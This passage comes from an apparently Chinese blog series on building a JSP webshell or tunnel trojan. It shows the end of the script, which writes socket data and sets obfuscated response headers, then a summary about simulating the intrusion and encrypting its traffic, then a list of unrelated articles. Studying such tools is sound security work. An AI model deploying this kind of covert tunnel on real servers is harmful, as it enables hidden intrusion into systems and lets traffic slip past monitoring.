                buf.flip();
                while(buf.hasRemaining())
                    socketChannel.write(buf);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "QmPrA86mT15");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("");
    }
%>

小总结

本篇我们将木马的侵入流程做了大致的模拟,在本地搭建了环境,并且编写了加解密的脚本,能够暂时的为我们的流量包进行加解密,也简单的分析了一些代码,在下一篇中,将会对每一个功能进行细致的编写。

相关文章
|
4天前
|
Web App开发 监控 JavaScript
监控和分析 JavaScript 内存使用情况
【10月更文挑战第30天】通过使用上述的浏览器开发者工具、性能分析工具和内存泄漏检测工具,可以有效地监控和分析JavaScript内存使用情况,及时发现和解决内存泄漏、过度内存消耗等问题,从而提高JavaScript应用程序的性能和稳定性。在实际开发中,可以根据具体的需求和场景选择合适的工具和方法来进行内存监控和分析。
|
28天前
|
编译器 C语言
动态内存分配与管理详解(附加笔试题分析)(上)
动态内存分配与管理详解(附加笔试题分析)
45 1
|
2月前
|
程序员 编译器 C++
【C++核心】C++内存分区模型分析
这篇文章详细解释了C++程序执行时内存的四个区域:代码区、全局区、栈区和堆区,以及如何在这些区域中分配和释放内存。
50 2
|
9天前
|
Web App开发 JavaScript 前端开发
使用 Chrome 浏览器的内存分析工具来检测 JavaScript 中的内存泄漏
【10月更文挑战第25天】利用 Chrome 浏览器的内存分析工具,可以较为准确地检测 JavaScript 中的内存泄漏问题,并帮助我们找出潜在的泄漏点,以便采取相应的解决措施。
83 9
|
13天前
|
并行计算 算法 IDE
【灵码助力Cuda算法分析】分析共享内存的矩阵乘法优化
本文介绍了如何利用通义灵码在Visual Studio 2022中对基于CUDA的共享内存矩阵乘法优化代码进行深入分析。文章从整体程序结构入手,逐步深入到线程调度、矩阵分块、循环展开等关键细节,最后通过带入具体值的方式进一步解析复杂循环逻辑,展示了通义灵码在辅助理解和优化CUDA编程中的强大功能。
|
28天前
|
程序员 编译器 C语言
动态内存分配与管理详解(附加笔试题分析)(下)
动态内存分配与管理详解(附加笔试题分析)(下)
44 2
|
2月前
|
算法 程序员 Python
程序员必看!Python复杂度分析全攻略,让你的算法设计既快又省内存!
在编程领域,Python以简洁的语法和强大的库支持成为众多程序员的首选语言。然而,性能优化仍是挑战。本文将带你深入了解Python算法的复杂度分析,从时间与空间复杂度入手,分享四大最佳实践:选择合适算法、优化实现、利用Python特性减少空间消耗及定期评估调整,助你写出高效且节省内存的代码,轻松应对各种编程挑战。
38 1
|
2月前
|
存储 Prometheus NoSQL
Redis 内存突增时,如何定量分析其内存使用情况
【9月更文挑战第21天】当Redis内存突增时,可采用多种方法分析内存使用情况:1)使用`INFO memory`命令查看详细内存信息;2)借助`redis-cli --bigkeys`和RMA工具定位大键;3)利用Prometheus和Grafana监控内存变化;4)优化数据类型和存储结构;5)检查并调整内存碎片率。通过这些方法,可有效定位并解决内存问题,保障Redis稳定运行。
|
1月前
|
SQL 安全 算法
ChatGPT高效提问—prompt实践(漏洞风险分析-重构建议-识别内存泄漏)
ChatGPT高效提问—prompt实践(漏洞风险分析-重构建议-识别内存泄漏)
|
2月前
|
存储 运维
.NET开发必备技巧:使用Visual Studio分析.NET Dump,快速查找程序内存泄漏问题!
.NET开发必备技巧:使用Visual Studio分析.NET Dump,快速查找程序内存泄漏问题!